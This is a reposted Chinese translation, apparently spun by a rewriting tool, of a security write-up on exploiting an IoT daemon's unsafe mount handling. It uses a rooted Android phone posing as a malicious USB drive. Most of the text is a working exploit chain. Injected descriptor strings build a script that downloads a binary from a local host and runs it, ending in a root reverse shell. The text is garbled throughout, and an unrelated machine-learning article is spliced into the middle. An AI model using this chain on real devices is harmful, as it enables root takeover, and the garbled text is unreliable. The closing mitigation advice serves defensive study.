应用USB外设完成敕令注入 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用USB外设完成敕令注入

申博_安全防护 申博 74次浏览 已收录 0个评论

遭到[Project Zero]宣布的一篇USB平安报告的启示,我最先细致思索怎样将USB用作物联网装备的进击面。在很多的物联网装备中,是许可用户插进去USB装备并经由历程它自动实行某些操纵的,而且,这些自动功用或许过于信托USB装备了。跟着时候的推移,这份报告在我的脑海中的印象逐渐消弱,直到一个带有USB端口的物联网装备出如今我的门口——显眼的USB端口从新激起了我的兴致。可悲的是,该报告中提到的[ Raspberry Pi Zero]的到货时候依然遥遥无期,幸亏我听一名同事提过Android也支撑ConfigFS,因而,我决议重整旗鼓。

我发明,带有平安题目的物联网装备会自动装置插进去该装备的USB大容量存储装备,假如设置了某些属性的话,该装备还会运用这些属性——未经响应的平安搜检——来建立装置目次称号。另外,这里的装置历程照样经由历程C语言中名誉扫地的“system”函数完成的:歹意USB装备能够以如许的体式格局设置某些参数以完成恣意敕令实行。由于相干的保卫历程是以root身份运转的,这意味着,进击者能够插进去USB装备,守候几秒钟,然后就能够在装备上以root身份实行敕令了。这不禁让人们想起相干特务影戏中的画面——个中主人公将一些装备插进去高度庞杂的门锁中,然后,LED屏幕上会闪灼一堆数字,以后,门就奇异地打开了。实际中,真的能够做到吗?我想是的。

然则题目在于,怎样才能把安卓装备变成一个自定义的USB外设呢?我在收集上面搜刮了一大圈,然则没有找到响应的处置惩罚方案。而本文的目的,就是处置惩罚这个短板,为此,我们须要运用一个已获得root权限的Nexus 5X装备,并运转最新版本的Android体系,即8.1版本。固然,当前尚不一定本文引见的要领是不是适用于Android 9。

将Android用作大容量存储器

就这里来讲,须要将Android装备用作USB大容量存储装备,并带有以下属性:产品称号字符串、产品型号字符串和磁盘标签。固然,我们还能够自定义更多的属性,但这并不是本文关注的内容。接下来,我们将从那些看起来好像没有用的东西最先动手:起首,我对ConfigFS异常熟习,而且发明了`/config/usb_gadget`要领,所以,我们能够应用这个ConfigFS要领来建立一个快速式的大容量USB存储装备。为此,我建立了一个剧本,来协助我们完成这些事变,运转效果以下所示:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

我不清晰为何这条路走不通,然则有一点很明显,那就是这个要领是不受支撑的。为了搞清晰怎么回事,我专门研究了Android和Linux的内核源代码,固然,我们不盘算通读统统源码,相反,我只想晓得怎样在这个装备上运用`/bin/touch/tmp/haxxed`并将其声明为***1337***。所以,我把注意力转向Android中`init` 历程的内核空间,看看Android开辟者为转变USB功用做了哪些事变。

经由历程考核Android的`init`[文件],我们发明USB有两个差别的`.rc`文件:[init.usb.configfs.rc]和[init.usb.rc]。眼尖的读者能够已发明了,它们都邑搜检属性`sys.usb.configfs`:假如其值为`1`,则会运用`init.usb.configfs.rc`文件中相干条目,不然将运用`init.usb.rc`文件中的相干条目。对我的试验环境来讲,`sys.usb.configfs`的值为`0`,而且我确认体系在`/sys/class/android_usb`目次中修正了一些内容,所以,我将核心移到了那边。固然,我没有考核`sys.usb.configfs`设置为`1`时会发作什么情况,所以,我没法一定这是唯一的要领,但能够一定的是,最少这类要领关于我来讲是有用的。

探究未知天下

既然已将核心转移到了`/sys/class/android_usb/android0`目次,那末无妨看看个中包含了哪些内容:

bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           power
bDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeup
bDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 state
bcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystem
down_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                uevent
down_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_threshold
f_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state

`个中,`idVendor`、`idProduct`、`iProduct`、`iManufacturer`和`f_mass_storage`看起来有点面善。假如您熟习ConfigFS的话,就会发明`f_mass_storage`的内容与`mass_storage`函数的内容异常类似:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent

老实说,这究竟是咋回事,我也不太清晰。不过,我们的目的要邃晓一下——经由历程建立歹意USB装备来发起进击,而不是相识Linux内核的内部事变道理以及Android怎样将本身设置为USB外围装备。荣幸的是,源代码和装备本身为我们供应了很多提醒,这些都能协助我们弄清晰怎样运用这个目次。

在`init.usb.rc`中,经常会碰到以下所示的代码:

write /sys/class/android_usb/android0/enable 0
            ....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1

那末,当插进去一个开辟装备,并运用ADB时,会运转哪些函数呢?

bullhead:/sys/class/android_usb/android0 # cat functions
ffs

我恰巧晓得装备上的ADB是运用FunctionFS完成的,而`ffs`看起来像是FunctionFS的简写,所以,这里极能够启用的就是它。接下来,我们能够转变谁人值,比方把它设置为`mass_storage`,然后看看会发作什么。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

能够看到,ADB会话被封闭了。是的,杀死USB的同时,USB衔接天然也会封闭。好吧,最少我晓得它是起作用的! 荣幸的是,ADB异常适合在TCP/IP上事变,所以,我能够重启它:

adb tcpip 5555
adb connect 192.168.1.18:5555

我郑重声明,我毫不会用你们本地咖啡店的WiFi来做这件事。好了,如今我们衔接好了,接下来,我们能够封闭USB并切换到大容量存储器形式,看看会发作什么情况。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable

太棒了,既没有报错,也没有发作崩溃,统统如常。假如您熟习ConfigFS,您就邃晓这里也能够修正`f_mass_storage/lun/file`,让大容量存储装备成为后端装备。接下来,我们引见怎样建立一个让USB大容量存储装备变成后端存储器的镜像文件。

建立镜像文件

在制造镜像时须要切记的一件事变是,我们须要想法掌握磁盘标签的值(如`blkid`所示)。为此,我们能够建立一个文件,然后运用它即可,而无需任何其他的奇技淫巧。请注意,写入USB磁盘中的内容并不主要,这里只是愿望目的装备将其识别为大容量存储装备,进而装置该装备。下面,最先建立我们的后端镜像文件:

dd if=/dev/zero of=backing.img count=50 bs=1M

这将建立一个名为`backing.img`、大小为50MB的文件,该文件的内容都是0值。实际上,这里的内容并不主要,由于下面我们会用`fdisk`敕令对其举行格式化。关于老到的Linux黑客来讲,完全能够经由历程编写响应的剧原本完成这些事变:

echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img

像如许:

9大机械进修落地案例:能够展望你什么时候去职!

对于企业而言,人工智能(AI)和机器学习(ML)曾被认为是“天上掉馅饼”(难以实现的梦想)的项目,如今也已成为主流。 越来越多的企业正在利用这种模仿人类思维行为的技术来吸引客户并加强自身业务运营。在Gartner针对106名IT和业务专业人士进行的一项调查中发现,59%的受访者表示,到目前为止,他们已经部署了AI技术且平均拥有4个AI/ML项目。这些受访者还表示,预计未来12个月将再

Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
 
Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.
 
Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.
 
Command (m for help): Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p):
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479):
Created a new partition 1 of type 'Linux' and of size 9 MiB.
 
Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.
 
Command (m for help): The partition table has been altered.
Syncing disks.

我们将建立一个带有`DOS`分区表和单个`FAT32`分区的镜像,其他内容都是默许的设置。接下来,我们要完成格式化处置惩罚,并设置标签:

# losetup --offset 1048576 -f backing.img /dev/loop0
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0

个中,“1048576”是“2048 * 512”之积。在这里,我们只是将上面建立的镜像附加为`/dev/loop0`装备,并运转一个简朴的`mkdosfs`敕令,个中`-n “HAX”`对本例来讲异常主要,由于它使得我们能够掌握标签。好了,我们须要做的,就这么些了——很简朴吧!

综合起来

借助上面建立的镜像,我们就能够建立完全的USB装备了:

$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell

在`adb shell`中:

$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable

假如统统顺利,则:

# lsusb -v -d 18d1:
Bus 003 Device 036: ID 18d1:4ee7 Google Inc.
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  idVendor           0x18d1 Google Inc.
  idProduct          0x4ee7
  bcdDevice            3.10
  iManufacturer           1 LGE
  iProduct                2 Nexus 5X
  iSerial                 3 0000000000000000
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength           32
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          0
    bmAttributes         0x80
      (Bus Powered)
    MaxPower              500mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           2
      bInterfaceClass         8 Mass Storage
      bInterfaceSubClass      6 SCSI
      bInterfaceProtocol     80 Bulk-Only
      iInterface              5 Mass Storage
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x81  EP 1 IN
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x01  EP 1 OUT
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               1
Device Qualifier (for other device speed):
  bLength                10
  bDescriptorType         6
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  bNumConfigurations      1
Device Status:     0x0000
  (Bus Powered)

如许,我们就能够看到该装备了:

$ ls -lh /dev/disk/by-id
lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

接下来,我们就能够装置该装备了:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

完成装置后,我们就能够斟酌转变参数了:

# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
```
$ lsusb -v -d 18d1:
Bus 003 Device 044: ID 18d1:1337 Google Inc.
Device Descriptor:
            ....
  idProduct          0x1337
            ....
  iManufacturer           1 Carve Systems
  iProduct                2 1337 Hacking USB
            ....

哇,如许就能够轻松制造歹意USB装备了。

小试牛刀

为了协助读者充足认识到该破绽的严重性,下面给出一个POC示例代码:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);

上面的代码将完成以下操纵:

1.应用易受进击的保卫历程的`cwd`下载一个shell剧本,用以天生一个反向shell

2.用`sh`实行该文件

一个辣手的题目是,体系会从这些变量中删除空格和`/`,但荣幸的是,`system`会将其传递给一个明白`$IFS`和子shell的shell。关于Android装备来讲,这个破绽的应用要领也很简朴,详细的敕令能够按以下体式格局举行构建:

echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable

完全的敕令链以下所示(这里删除了一些必要的sleep敕令):

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
 
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
 
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
 
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
 
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
 
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
 
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

能够把这些敕令能够放到一个文件(`/a`)中:

b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}shell

末了一个敕令是用`sh a`实行这个文件。这个剧本将会拉取一个本人编写的二进制文件来猎取反向shell。今后,您能够向反向shell发送本身喜好的payload。在实行完末了一个敕令后,我们将会看到熟习的一幕:

$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)

搞定。

平安发起

虽然运用Raspberry Pi Zero能够会更轻易一些,但经由历程已获得root权限的Android装备也能够轻松完成本文的目的。关于该破绽,我们的平安发起是:不要信托任何外部输入,即使是来自物理装备的输入,也不值得信任。关于黑名单要领来讲,偶然也会存在轻易绕过的破绽。固然,照样有很多要领能够防止这个题目的,但不管关于哪一种减缓步伐,最主要的就是不要信托从外部装备中读取的属性。假如须要唯一称号,请天生响应的UUID。假如您须要一个举世无双的称号,而且请求关于给定装备来讲是稳定的,请考证所需的参数是不是存在,然后运用SHA256或您喜好的哈希算法盘算它们的哈希值。另外,C函数`system`也应当郑重运用:实际上,直接运用C代码装置驱动器也不是什么难事。

本文翻译自:https://carvesystems.com/news/command-injection-with-usb-peripherals/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用USB外设完成敕令注入
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址